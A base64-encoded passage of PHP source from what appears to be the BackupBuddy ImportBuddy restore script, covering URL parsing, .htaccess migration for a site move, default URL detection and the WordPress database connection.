xbJ3BhdGgnXSApID8gdHJpbSggJHBhcnNlZF91cmxbJ3BhdGgnXSwgJy8nICkgOiAnJzsKCQkkcGFyc2VkX3VybFsnc2VnbWVudHMnXSA9ICRwYXJzZWRfdXJsWydwYXRoJ10gPyBleHBsb2RlKCAnLycsICRwYXJzZWRfdXJsWydwYXRoJ10gKSA6IGFycmF5KCk7CgoJCXJldHVybiAkcGFyc2VkX3VybDsKCX0KCgkvKioKCSAqIEJ1aWxkIFBhdGggYmFzZWQgb24gcGFyc2VkIFVSTAoJICoKCSAqIEBwYXJhbSBhcnJheSAkcGFyc2VkX3VybCAgUmV0dXJuIGFycmF5IGZyb20gJHRoaXMtPnBhcnNlX3VybCgpLgoJICoKCSAqIEByZXR1cm4gc3RyaW5nICBGdWxsIHVybCBwYXRoLgoJICovCglwdWJsaWMgZnVuY3Rpb24gZ2V0X3BhdGhfZnJvbV9wYXJzZWRfdXJsKCAkcGFyc2VkX3VybCA9IGFycmF5KCkgKSB7CgkJaWYgKCAhICRwYXJzZWRfdXJsIHx8ICEgaXNfYXJyYXkoICRwYXJzZWRfdXJsICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ0ludmFpZCBmb3JtYXQgZm9yIHBhcnNlZCBVUkw6ICcgLiBwcmludF9yKCAkcGFyc2VkX3VybCwgdHJ1ZSApICk7CgkJCXJldHVybiAkcGFyc2VkX3VybDsKCQl9CgoJCWlmICggZW1wdHkoICRwYXJzZWRfdXJsWydzZWdtZW50cyddICkgKSB7CgkJCSRwYXRoID0gJy8nOwoJCX0gZWxzZSB7CgkJCSRwYXRoID0gJy8nIC4gaW1wbG9kZSggJy8nLCAkcGFyc2VkX3VybFsnc2VnbWVudHMnXSApIC4gJy8nOwoJCX0KCgkJcmV0dXJuICRwYXRoOwoJfQoKCS8qKgoJICogQnVpbGQgYWxsIHBhdGhzIGZvciBoYW5kbGluZyBodGFjY2VzcyByZXdyaXRlLgoJICoKCSAqIEByZXR1cm4gYXJyYXkgJHBhdGhzICBDb250YWlucyBvbGR1cmwsIG5ld3VybCwgb2xkX3BhdGgsIHJld3JpdGVfcGF0aAoJICovCglwdWJsaWMgZnVuY3Rpb24gZ2V0X2h0YWNjZXNzX3BhdGhzKCkgewoJCSRvbGR1cmwgPSBzdHJ0b2xvd2VyKCAkdGhpcy0+X3N0YXRlWydkYXQnXVsnc2l0ZXVybCddICk7CgkJJG9sZHVybCA9ICR0aGlzLT5wYXJzZV91cmwoICRvbGR1cmwgKTsKCQkkb2xkX3BhdGggPSAkdGhpcy0+Z2V0X3BhdGhfZnJvbV9wYXJzZWRfdXJsKCAkb2xkdXJsICk7CgoJCS8vIERvIHRoZSBleGFjdCBzYW1lIHRoaW5nIHRvIHRoZSBOZXcgVVJMLgoJCSRuZXd1cmwgPSBzdHJ0b2xvd2VyKCAkdGhpcy0+X3N0YXRlWydzaXRldXJsJ10gKTsKCQkkbmV3dXJsID0gJHRoaXMtPnBhcnNlX3VybCggJG5ld3VybCApOwoJCSRyZXdyaXRlX3BhdGggPSAkdGhpcy0+Z2V0X3BhdGhfZnJvbV9wYXJzZWRfdXJsKCAkbmV3dXJsICk7CgoJCXJldHVybiBhcnJheSgKCQkJJ29sZHVybCcgPT4gJG9sZHVybCwKCQkJJ25ld3VybCcgPT4gJG5ld3VybCwKCQkJJ29sZF9wYXRoJyA9PiAkb2xkX3BhdGgsCgkJCSdyZXdyaXRlX3BhdGgnID0+ICRyZXdyaXRlX3BhdGgsCgkJKTsKCX0KCgkvKioKCSAqICBtaWdyYXRlSHRhY2Nlc3MoKQoJICoKCSAqICBNaWdyYXRlcyAuaHRhY2Nlc3MuYmJfdGVtcCBmaWxlIGlmIGl0IGV4aXN0cy4KCSAqCgkgKiAgQHJldHVybiAgICAgYm9vbGVhbiAgICAgRmFsc2Ugb25seSBpZiBmaWxlIGlzIHVud3JpdGFibGUuIFRydWUgaWYgd3JpdGUgc3VjY2VzczsgdHJ1ZSBpZiBmaWxlIGRvZXMgbm90IGV2ZW4gZXhpc3QuCgkgKgoJICovCglmdW5jdGlvbiBtaWdyYXRlSHRhY2Nlc3MoKSB7CgoJCSRodGFjY2Vzc0ZpbGUgPSBBQlNQQVRIIC4gJy5odGFjY2Vzcy5iYl90ZW1wJzsKCgkJLy8gSWYgbm8gLmh0YWNjZXNzLmJiX3RlbXAgZmlsZSBleGlzdHMgdGhlbiBjcmVhdGUgYSBiYXNpYyBkZWZhdWx0IG9uZSB0aGVuIG1pZ3JhdGUgdGhhdCBhcyBuZWVkZWQuIEBzaW5jZSAyLjIuMzIuCgkJaWYgKCAhIGZpbGVfZXhpc3RzKCAkaHRhY2Nlc3NGaWxlICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ05vIGAnIC4gYmFzZW5hbWUoICRodGFjY2Vzc0ZpbGUgKSAuICdgIGZpbGUgZm91bmQuIENyZWF0aW5nIGJhc2ljIGRlZmF1bHQgLmh0YWNjZXNzLmJiX3RlbXAgZmlsZSAodG8gYmUgbGF0ZXIgcmVuYW1lZCB0byAuaHRhY2Nlc3MpLicgKTsKCgkJCS8vIERlZmF1bHQgLmh0YWNjZXNzIGZpbGUuCgkJCSRodGFjY2Vzc19jb250ZW50cyA9CiIjIEJFR0lOIFdvcmRQcmVzcyAtIEJVQiBJbXBvcnRidWRkeQo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFxcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgojIEVORCBXb3JkUHJlc3MiOwoJCQlmaWxlX3B1dF9jb250ZW50cyggJGh0YWNjZXNzRmlsZSwgJGh0YWNjZXNzX2NvbnRlbnRzICk7CgkJCXVuc2V0KCAkaHRhY2Nlc3NfY29udGVudHMgKTsKCQl9CgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ01pZ3JhdGluZyBgJyAuIGJhc2VuYW1lKCAkaHRhY2Nlc3NGaWxlICkgLiAnYCBmaWxlLi4uJyApOwoKCQkkcGF0aHMgPSAkdGhpcy0+Z2V0X2h0YWNjZXNzX3BhdGhzKCk7CgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ0NoZWNraW5nIGAnIC4gYmFzZW5hbWUoICRodGFjY2Vzc0ZpbGUgKSAuICdgIGZpbGUuJyApOwoJCWlmICggJHBhdGhzWyduZXd1cmwnXSAhPT0gJHBhdGhzWydvbGR1cmwnXSApIHsKCQkJaWYgKCAkcGF0aHNbJ29sZF9wYXRoJ10gPT09ICRwYXRoc1sncmV3cml0ZV9wYXRoJ10gKSB7CgkJCQkvLyBvbmx5IGNoYW5nZSB3YXMgZWl0aGVyIHRvL2Zyb20gaHR0cC9odHRwcyBvciBkaWZmZXJlbnQgZG9tYWluLgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnUmV3cml0ZSBwYXRocyByZW1haW4gdGhlIHNhbWUuIE5vIHBhdGggbW9kaWZpY2F0aW9ucyBuZWNlc3NhcnkuJyApOwoJCQl9IGVsc2UgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnVVJMIGRpcmVjdG9yeSBoYXMgY2hhbmdlZC4gVXBkYXRpbmcgZnJvbSBgJyAuICRwYXRoc1snb2xkX3BhdGgnXSAuICdgIHRvIGAnIC4gJHBhdGhzWydyZXdyaXRlX3BhdGgnXSAuICdgLicgKTsKCQkJfQoJCX0KCgkJJHJld3JpdGVfbGluZXMgICAgICAgICA9IGFycmF5KCk7CgkJJGdvdF9yZXdyaXRlICAgICAgICAgICA9IGZhbHNlOwoJCSRmaWxlX2FycmF5ICAgICAgICAgICAgPSBmaWxlKCAkaHRhY2Nlc3NGaWxlICk7CgkJJGh0YWNjZXNzTmVlZHNVcGRhdGluZyA9IGZhbHNlOwoKCQkvLyBUT0RPOiBDb25zaWRlciB1c2luZyBleHRyYWN0X2Zyb21fbWFya2VycygpIGhlcmUuCgoJCS8vIExvb3AgdGhyb3VnaCAuaHRhY2Nlc3MgbGluZXMsIHVwZGF0aW5nIGFzIG5lZWRlZC4KCQlmb3JlYWNoICggKGFycmF5KSAkZmlsZV9hcnJheSBhcyAkbGluZV9udW1iZXIgPT4gJGxpbmUgKSB7CgkJCWlmICggcHJlZ19tYXRjaCggJy9BZGQoSGFuZGxlcnxUeXBlKShcaCopXGIuKlwucGhwLycsICRsaW5lLCAkYWRkX3R5cGUgKSApIHsgLy8gSGFzIEFkZEhhbmRsZXIuIERpc2FibGUgdGhpcyBsaW5lIC0tIGlmIGltcG9ydGJ1ZGR5IGlzIHJ1bm5pbmcgbm93IHRoZW4gd2UgZG8gbm90IG5lZWQgdGhpcyBtb3N0IGxpa2VseS4KCQkJCWlmICggcHJlZ19tYXRjaCggJy9eXGgqIy4qJC9pbScsICRsaW5lICkgKSB7CgkJCQkJJHJld3JpdGVfbGluZXNbXSA9ICRsaW5lOyAvLyBLZWVwIGZ1bGx5IGNvbW1lbnRlZCBvdXQgbGluZXMgb3V0c2lkZSBvZiAjQkVHSU4vRU5EIFdvcmRQcmVzcy4KCQkJCQljb250aW51ZTsKCQkJCX0KCgkJCQkkbWVzc2FnZSA9IHNwcmludGYoICdBbiAlcyBkaXJlY3RpdmUgY2hhbmdpbmcgaG93IC5waHAgZmlsZXMgYXJlIHRyZWF0ZWQgaGFzIGJlZW4gZm91bmQgaW4geW91ciAuaHRhY2Nlc3MgZmlsZSBhbmQgYmVlbiBkaXNhYmxlZC4gVGhpcyBjb3VsZCByZXN1bHQgaW4gV29yZFByZXNzIGFuZCBQSFAgbm90IHJ1bm5pbmcgcHJvcGVybHkgaWYgY29uZmlndXJlZCBpbXByb3Blcmx5LCBlc3BlY2lhbGx5IHdoZW4gbWlncmF0aW5nIHRvIGEgbmV3IHNlcnZlci4gSWYgeW91IGVuY291bnRlciBwcm9ibGVtcyBzdWNoIGFzIGFuIEludGVybmFsIFNlcnZlciBFcnJvciBvciBFcnJvciA1MDAsIHRyeSB1bmNvbW1lbnRpbmcgdGhpcyBsaW5lIGluIHlvdXIgLmh0YWNjZXNzIGZpbGUuIExpbmUgIyVkOiAiJXMiLicsIHRyaW0oICRhZGRfdHlwZVswXSApLCAkbGluZV9udW1iZXIsICRsaW5lICk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnd2FybmluZycsICRtZXNzYWdlICk7CgkJCQlwYl9iYWNrdXBidWRkeTo6YWxlcnQoICRtZXNzYWdlICk7CgoJCQkJJHJld3JpdGVfbGluZXNbXSA9ICcjICcgLiAkbGluZTsgLy8gS2VlcCBsaW5lLCBidXQgY29tbWVudCBvdXQuCgkJCQljb250aW51ZTsKCQkJfQoKCQkJaWYgKCAkcGF0aHNbJ25ld3VybCddID09PSAkcGF0aHNbJ29sZHVybCddICkgewoJCQkJLy8gRG9uJ3QgZG8gYW55dGhpbmcgZWxzZSBleGNlcHQga2VlcCBjaGVja2luZyBmb3IgQWRkSGFuZGxlci4KCQkJCWNvbnRpbnVlOwoJCQl9CgoJCQlpZiAoIGZhbHNlID09PSAkZ290X3Jld3JpdGUgKSB7CgkJCQlpZiAoIHByZWdfbWF0Y2goICcvQkVHSU4oXGgqKVdvcmRQcmVzcy8nLCAkbGluZSApICkgeyAvLyBCZWdpbm5pbmcgb2YgYSBXb3JkUHJlc3MgYmxvY2sgc28gc3RhcnQgcmVwbGFjaW5nLgoJCQkJCSRnb3RfcmV3cml0ZSA9IHRydWU7CgkJCQl9CgkJCQkkcmV3cml0ZV9saW5lc1tdID0gJGxpbmU7IC8vIENhcHR1cmVzIHRoZSBjdXJyZW50IGxpbmUgYXMgaXMuCgkJCQljb250aW51ZTsKCQkJfSBlbHNlaWYgKCBwcmVnX21hdGNoKCAnL0VORChcaCopV29yZFByZXNzLycsICRsaW5lICkgKSB7IC8vIEVuZCBvZiBhIFdvcmRQcmVzcyBibG9jayBzbyBzdG9wIHJlcGxhY2luZy4KCQkJCSRnb3RfcmV3cml0ZSA9IGZhbHNlOwoJCQkJJHJld3JpdGVfbGluZXNbXSA9ICRsaW5lOyAvLyBDYXB0dXJlcyB0aGUgY3VycmVudCBsaW5lIGFzIGlzLgoJCQkJY29udGludWU7CgkJCX0KCgkJCWlmICggcHJlZ19tYXRjaCggJy9eXGgqIy4qJC9pbScsICRsaW5lICkgKSB7CgkJCQkkcmV3cml0ZV9saW5lc1tdID0gJGxpbmU7IC8vIEtlZXAgZnVsbHkgY29tbWVudGVkIG91dCBsaW5lcy4KCQkJCWNvbnRpbnVlOwoJCQl9CgoJCQkkbmV3X2xpbmUgPSAkbGluZTsKCgkJCS8vIFRPRE86IFVzZSBwcmVnX3JlcGxhY2UgaGVyZSB0byBrZWVwIGZsYWdzIGxpa2UgW0xdIGludGFjdC4KCQkJaWYgKCBzdHJzdHIoICRsaW5lLCAnUmV3cml0ZUJhc2UnICkgKSB7IC8vIFJld3JpdGVCYXNlLgoJCQkJJG5ld19saW5lID0gJ1Jld3JpdGVCYXNlICcgLiAkcGF0aHNbJ3Jld3JpdGVfcGF0aCddIC4gIlxuIjsKCQkJfSBlbHNlaWYgKCBzdHJzdHIoICRsaW5lLCAnUmV3cml0ZVJ1bGUnICkgKSB7IC8vIFJld3JpdGVSdWxlLgoJCQkJaWYgKCBzdHJzdHIoICRsaW5lLCAnXmluZGV4XC5waHAkJyApICkgeyAvLyBIYW5kbGUgbmV3IHN0cmFuZ2UgcmV3cml0ZXJ1bGUuIExlYXZlIGFzIGlzLgoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJy5odGFjY2VzcyBeaW5kZXhcLnBocCQgZGV0ZWN0ZWQuIExlYXZpbmcgYXMgaXMuJyApOwoJCQkJfSBlbHNlaWYgKCAhIHN0cnN0ciggJGxpbmUsICdSZXdyaXRlUnVsZSAuICcgKSApIHsKCQkJCQkvLyBIYW5kbGUgd2hhdCBpcyBwcm9iYWJseSBhIHVzZXIgZ2VuZXJhdGVkIHJ1bGUgLSBiZXR0ZXIgZGV0ZWN0aW9uIG5lZWRlZC4KCQkJCQkkbmV3X2xpbmUgPSBzdHJfcmVwbGFjZSggJHBhdGhzWydvbGRfcGF0aCddLCAkcGF0aHNbJ3Jld3JpdGVfcGF0aCddLCAkbGluZSApOyAvLyBUT0RPOiBOZWVkcyBjaGVjayBmb3IgcmVsYXRpdmUgcGF0aHMuCgkJCQl9IGVsc2UgeyAvLyBOb3JtYWwgc3BvdC4KCQkJCQkkbmV3X2xpbmUgPSAnUmV3cml0ZVJ1bGUgLiAnIC4gJHBhdGhzWydyZXdyaXRlX3BhdGgnXSAuICdpbmRleC5waHAgW0xdJyAuICJcbiI7CgkJCQl9CgkJCX0gZWxzZSB7IC8vIFVzZXIgY3VzdG9tIHJld3JpdGVydWxlIHdlIGRpZCBub3QgdXBkYXRlLgoJCQkJLy8gSSBkb24ndCB0aGluayB0aGlzIHJ1bGUgd2lsbCBldmVyIGhpdCBzaW5jZSBpdCdsbCBhbHdheXMgc3RvcCBhdCBsaW5lIDEzOTQuIC9iZC4KCQkJCWlmICggZmFsc2UgIT09IHN0cnN0ciggJGxpbmUsICdSZXdyaXRlUnVsZSAuICcgKSApIHsgLy8gUmV3cml0ZVJ1bGUsIHdhcm4gdXNlciBwb3RlbnRpYWxseSBpZiBwYXRoIG1heSBuZWVkIGNoYW5nZWQuCgkJCQkJaWYgKCAkcGF0aHNbJ29sZF9wYXRoJ10gIT09ICRwYXRoc1sncmV3cml0ZV9wYXRoJ10gKSB7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJ1VzZXItZGVmaW5lZCBSZXdyaXRlUnVsZSBmb3VuZCBhbmQgV29yZFByZXNzIHBhdGggaGFzIGNoYW5nZWQgc28gdGhpcyBydWxlIE1BWSBuZWVkIG1hbnVhbGx5IHVwZGF0ZWQgYnkgeW91IHRvIGZ1bmN0aW9uIHByb3Blcmx5LiBMaW5lICMnIC4gJGxpbmVfbnVtYmVyIC4gJzogIicgLiAkbGluZSAuICciLicgKTsKCQkJCQl9CgkJCQl9CgkJCX0KCgkJCWlmICggJG5ld19saW5lICE9ICRsaW5lICkgewoJCQkJJHJld3JpdGVfbGluZXNbXSA9ICRuZXdfbGluZTsKCQkJCSRodGFjY2Vzc05lZWRzVXBkYXRpbmcgPSB0cnVlOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnLmh0YWNjZXNzIExpbmUgIycgLiAkbGluZV9udW1iZXIgLiAnIGNoYW5nZWQgZnJvbSBgJyAuIHRyaW0oICRsaW5lICkgLiAnYCB0byBgJyAuIHRyaW0oICRuZXdfbGluZSApIC4gJ2AuJyApOwoJCQl9IGVsc2UgewoJCQkJJHJld3JpdGVfbGluZXNbXSA9ICRsaW5lOyAvLyBDYXB0dXJlcyBldmVyeXRoaW5nIGluc2lkZSBXb3JkUHJlc3MgYmxvY2sgd2UgYXJlbnQgbW9kaWZ5aW5nLgoJCQl9CgkJfSAvLyBlbmQgZm9yZWFjaC4KCgkJLy8gSWYgdGhlIFVSTCAoZG9tYWluIGFuZC9vciBVUkwgc3ViZGlyZWN0b3J5ICkgaGFzIGNoYW5nZWQsIHRoZW4gbmVlZCB0byB1cGRhdGUgLmh0YWNjZXNzLmJiX3RlbXAgZmlsZS4KCgkJJHJld3JpdGVfbGluZXMgICAgICAgICA9IGl0X2J1Yl9pbXBvcnRidWRkeV9hcHBseV9maWx0ZXJzKCAnaHRhY2Nlc3NfY29udGVudF9hcnJheScsICRyZXdyaXRlX2xpbmVzICk7CgkJJGh0YWNjZXNzTmVlZHNVcGRhdGluZyA9IGl0X2J1Yl9pbXBvcnRidWRkeV9hcHBseV9maWx0ZXJzKCAnaHRhY2Nlc3NfbmVlZHNfdXBkYXRpbmcnLCAkaHRhY2Nlc3NOZWVkc1VwZGF0aW5nICk7CgoJCWlmICggdHJ1ZSA9PT0gJGh0YWNjZXNzTmVlZHNVcGRhdGluZyApIHsKCQkJLy8gQ2hlY2sgdGhhdCB3ZSBjYW4gd3JpdGUgdG8gdGhpcyBmaWxlIChpZiBpdCBhbHJlYWR5IGV4aXN0cykuCgkJCWlmICggZmlsZV9leGlzdHMoICRodGFjY2Vzc0ZpbGUgKSAmJiAoICEgaXNfd3JpdGFibGUoICRodGFjY2Vzc0ZpbGUgKSApICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ3dhcm5pbmcnLCAnV2FybmluZyAjMjg1NzM6IFRlbXAgYCcgLiBiYXNlbmFtZSggJGh0YWNjZXNzRmlsZSApIC4gJ2AgZmlsZSBzaG93cyB0byBiZSB1bndyaXRhYmxlLiBBdHRlbXB0aW5nIHRvIG92ZXJyaWRlIHBlcm1pc3Npb25zIHRlbXBvcmFyaWx5LicgKTsKCQkJCSRvbGRQZXJtcyA9ICggZmlsZXBlcm1zKCAkaHRhY2Nlc3NGaWxlICkgJiAwNzc3ICk7CgkJCQlAY2htb2QoICRodGFjY2Vzc0ZpbGUsIDA2NDQgKTsgLy8gVHJ5IHRvIG1ha2Ugd3JpdGFibGUuCgkJCQkvLyBDaGVjayBpZiBzdGlsbCBub3Qgd3JpdGFibGUuLi4KCQkJCWlmICggISBpc193cml0YWJsZSggJGh0YWNjZXNzRmlsZSApICkgewoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjOTAyMDogVW5hYmxlIHRvIHdyaXRlIHRvIGAnIC4gYmFzZW5hbWUoICRodGFjY2Vzc0ZpbGUgKSAuICdgIGZpbGUuIFZlcmlmeSBwZXJtaXNzaW9ucy4nICk7CgkJCQkJcGJfYmFja3VwYnVkZHk6OmFsZXJ0KCAnV2FybmluZzogVW5hYmxlIHRvIHdyaXRlIHRvIHRlbXBvcmFyeSAuaHRhY2Nlc3MgZmlsZS4gVmVyaWZ5IHRoaXMgZmlsZSBoYXMgcHJvcGVyIHdyaXRlIHBlcm1pc3Npb25zLiBZb3UgbWF5IHJlY2VpdmUgNDA0IE5vdCBGb3VuZCBlcnJvcnMgb24geW91ciBzaXRlIGlmIHRoaXMgaXMgbm90IGNvcnJlY3RlZC4gVG8gZml4IGFmdGVyIG1pZ3JhdGlvbiBjb21wbGV0ZXM6IExvZyBpbiB0byB5b3VyIFdvcmRQcmVzcyBhZG1pbiBhbmQgc2VsZWN0IFNldHRpbmdzOiBQZXJtYWxpbmtzIGZyb20gdGhlIGxlZnQgbWVudSB0aGVuIHNhdmUuIFRvIG1hbnVhbGx5IHVwZGF0ZSwgY29weS9wYXN0ZSB0aGUgZm9sbG93aW5nIGludG8geW91ciAuaHRhY2Nlc3MgZmlsZTogPHRleHRhcmVhPicgLiBpbXBsb2RlKCAkcmV3cml0ZV9saW5lcyApIC4gJzwvdGV4dGFyZWE+JywgJzkwMjAnICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9CgoJCQkkaGFuZGxpbmcgPSBmb3BlbiggJGh0YWNjZXNzRmlsZSwgJ3cnICk7CgkJCWZ3cml0ZSggJGhhbmRsaW5nLCBpbXBsb2RlKCAkcmV3cml0ZV9saW5lcyApICk7CgkJCWZjbG9zZSggJGhhbmRsaW5nICk7CgkJCXVuc2V0KCAkaGFuZGxpbmcgKTsKCgkJCS8vIFJlc3RvcmUgcHJpb3IgcGVybWlzc2lvbnMgaWYgYXBwbGljYWJsZS4KCQkJaWYgKCBpc3NldCggJG9sZFBlcm1zICkgKSB7CgkJCQlAY2htb2QoICRodGFjY2Vzc0ZpbGUsICRvbGRQZXJtcyApOwoJCQl9CgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdNaWdyYXRlZCBgJyAuIGJhc2VuYW1lKCAkaHRhY2Nlc3NGaWxlICkgLiAnYCBmaWxlLiBJdCB3aWxsIGJlIHJlbmFtZWQgYmFjayB0byBgLmh0YWNjZXNzYCBvbiB0aGUgZmluYWwgc3RlcC4nICk7CgkJfSBlbHNlIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnTm8gY2hhbmdlcyBuZWVkZWQgZm9yIGAnIC4gYmFzZW5hbWUoICRodGFjY2Vzc0ZpbGUgKSAuICdgIGZpbGUuJyApOwoJCX0KCgkJcmV0dXJuIHRydWU7Cgl9IC8vIEVuZCBtaWdyYXRlSHRhY2Nlc3MoKS4KCgoKCWZ1bmN0aW9uIGdldERlZmF1bHRVcmwoKSB7CgkJJHRoaXMtPl9iZWZvcmUoIF9fRlVOQ1RJT05fXyApOwoKCQkvLyBHZXQgdGhlIGN1cnJlbnQgVVJMIG9mIHdoZXJlIHRoZSBpbXBvcnRidWRkeSB0b29sIGlzIHJ1bm5pbmcuCgkJJHVybCA9IHN0cl9yZXBsYWNlKCAkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10sICcnLCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSApOwoJCSR1cmwgPSBzdHJfcmVwbGFjZSggYmFzZW5hbWUoICR1cmwgKSAsICcnLCAkdXJsICk7CgkJJHVybCA9IHByZWdfcmVwbGFjZSggJ3wvKiR8JywgJycsICR1cmwgKTsgIC8vIHN0cmlwcyB0cmFpbGluZyBzbGFzaChlcykuCgoJCWlmICggKCBpc3NldCggJF9TRVJWRVJbJ0hUVFBTJ10gKSAmJiAoICRfU0VSVkVSWydIVFRQUyddICE9PSAnb2ZmJykgKSB8fCAoIGlzc2V0KCAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSApICYmICggJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzICkgKSApIHsgLy8gU1NMLgoJCQkkdXJsX3ByZWZpeCA9ICdodHRwczovLyc7CgkJfSBlbHNlIHsKCQkJJHVybF9wcmVmaXggPSAnaHR0cDovLyc7CgkJfQoKCQkkdXJsID0gJHVybF9wcmVmaXggLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAkdXJsOwoKCQlyZXR1cm4gJHVybDsKCX0gLy8gRW5kIGdldERlZmF1bHRVcmwoKS4KCgoKCWZ1bmN0aW9uIGdldERlZmF1bHREb21haW4oKSB7CgkJJHRoaXMtPl9iZWZvcmUoIF9fRlVOQ1RJT05fXyApOwoKCQlwcmVnX21hdGNoKCAnL14oaHR0cDpcL1wvKT8oW15cL10rKS9pJywgJHRoaXMtPmdldERlZmF1bHRVcmwoKSwgJGRvbWFpbiApOwoJCXJldHVybiAkZG9tYWluWzJdOwoJfSAvLyBFbmQgZ2V0RGVmYXVsdERvbWFpbigpLgoKCgoJLyoqCgkgKiAgY29ubmVjdERhdGFiYXNlKCkKCSAqCgkgKiAgSW5pdGlhbGl6ZXMgYSBjb25uZWN0aW9uIHRvIHRoZSBteXNxbCBkYXRhYmFzZS4KCSAqICBSRVFVSVJFUzogZGF0YWJhc2VTZXR0aW5ncyBwb3J0aW9uIG9mIHN0YXRlIHRvIGJlIHNldC4KCSAqCgkgKiAgQHJldHVybiAgICAgYm9vbGVhbiAgICAgVHJ1ZSBvbiBzdWNjZXNzOyBlbHNlIGZhbHNlLiBTdWNjZXNzIHRlc3RpbmcgaXMgdmVyeSBsb29zZS4KCSAqLwoJZnVuY3Rpb24gY29ubmVjdERhdGFiYXNlKCkgewoJCSR0aGlzLT5fYmVmb3JlKCBfX0ZVTkNUSU9OX18gKTsKCgkJaWYgKCB0cnVlID09PSAkdGhpcy0+X2RiQ29ubmVjdGVkICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdBbHJlYWR5IGNvbm5lY3RlZCB0byBkYXRhYmFzZSBmcm9tIHByaW9yIGNvbm5lY3REYXRhYmFzZSgpIGNhbGwuIFNraXBwaW5nLicgKTsKCQkJcmV0dXJuIHRydWU7CgkJfQoKCQlnbG9iYWwgJHdwZGI7CgkJJHdwZGIgPSBuZXcgd3BkYiggJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWyd1c2VybmFtZSddLCAkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3Bhc3N3b3JkJ10sICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnZGF0YWJhc2UnXSwkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3NlcnZlciddICk7CgoJCS8vIFNlZSBpZiB3ZSBoYXZlIGEgc3BlY2lmaWVkIGNoYXJhY3RlciBzZXQgYW5kIGNvbGxhdGlvbiB0byB1c2UgZnJvbSB0aGUgc291cmNlIHNpdGUuCgkJJGNoYXJzZXQgPSBudWxsOwoJCSRjb2xsYXRlID0gbnVsbDsKCQlpZiAoIGlzc2V0KCAkdGhpcy0+X3N0YXRlWydkYXQnXVsnZGJfY2hhcnNldCddICkgKSB7CgkJCSRjaGFyc2V0ID0gJHRoaXMtPl9zdGF0ZVsnZGF0J11bJ2RiX2NoYXJzZXQnXTsKCQl9CgkJaWYgKCBpc3NldCggJHRoaXMtPl9zdGF0ZVsnZGF0J11bJ2RiX2NvbGxhdGUnXSApICkgewoJCQkkY29sbGF0ZSA9ICR0aGlzLT5fc3RhdGVbJ2RhdCddWydkYl9jb2xsYXRlJ107CgkJfQoJCWlmICggKCBudWxsICE9PSAkY2hhcnNldCApIHx8ICggbnVsbCAhPT0gJGNvbGxhdGUgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnU2V0dGluZyBjaGFyc2V0IHRvIGAnIC4gJGNoYXJzZXQgLiAnYCBhbmQgY29sbGF0ZSB0byBgJyAuICRjb2xsYXRlIC4gJ2AgYmFzZWQgb24gc291cmNlIHNpdGUuJyApOwoJCQkkd3BkYi0+c2V0X2NoYXJzZXQoICR3cGRiLT5kYmgsICRjaGFyc2V0LCAkY29sbGF0ZSApOwoJCX0gZWxzZSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0NoYXJzZXQgbm9yIGNvbGxhdGUgYXJlIGluIERBVCBmaWxlLiBVc2luZyBkZWZhdWx0cyBmb3IgZGF0YWJhc2UgY29ubmVjdGlvbi4nICk7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0NoYXJzZXQgaW4gd3BkYjogJyAuICR3cGRiLT5jaGFyc2V0ICk7CgkJfQoKCQkvLyBXYXJuIGlmIG15c3FsIHZlcnNpb25zIGFyZSBpbmNvbXBhdGlibGU7IGVnIGltcG9ydGluZyBhIG15c3FsIDwgNS4xIHZlcnNpb24gaW50byBhIHNlcnZlciBydW5uaW5nIDUuMSsuCgkJZ2xvYmFsICR3cGRiOwoJCSR0aGlzVmVyc2lvbiA9ICR3cGRiLT5kYl92ZXJzaW9uKCk7CgkJaWYgKCBpc3NldCggJHRoaXMtPl9zdGF0ZVsnZGF0J11bJ2RiX3ZlcnNpb24nXSApICkg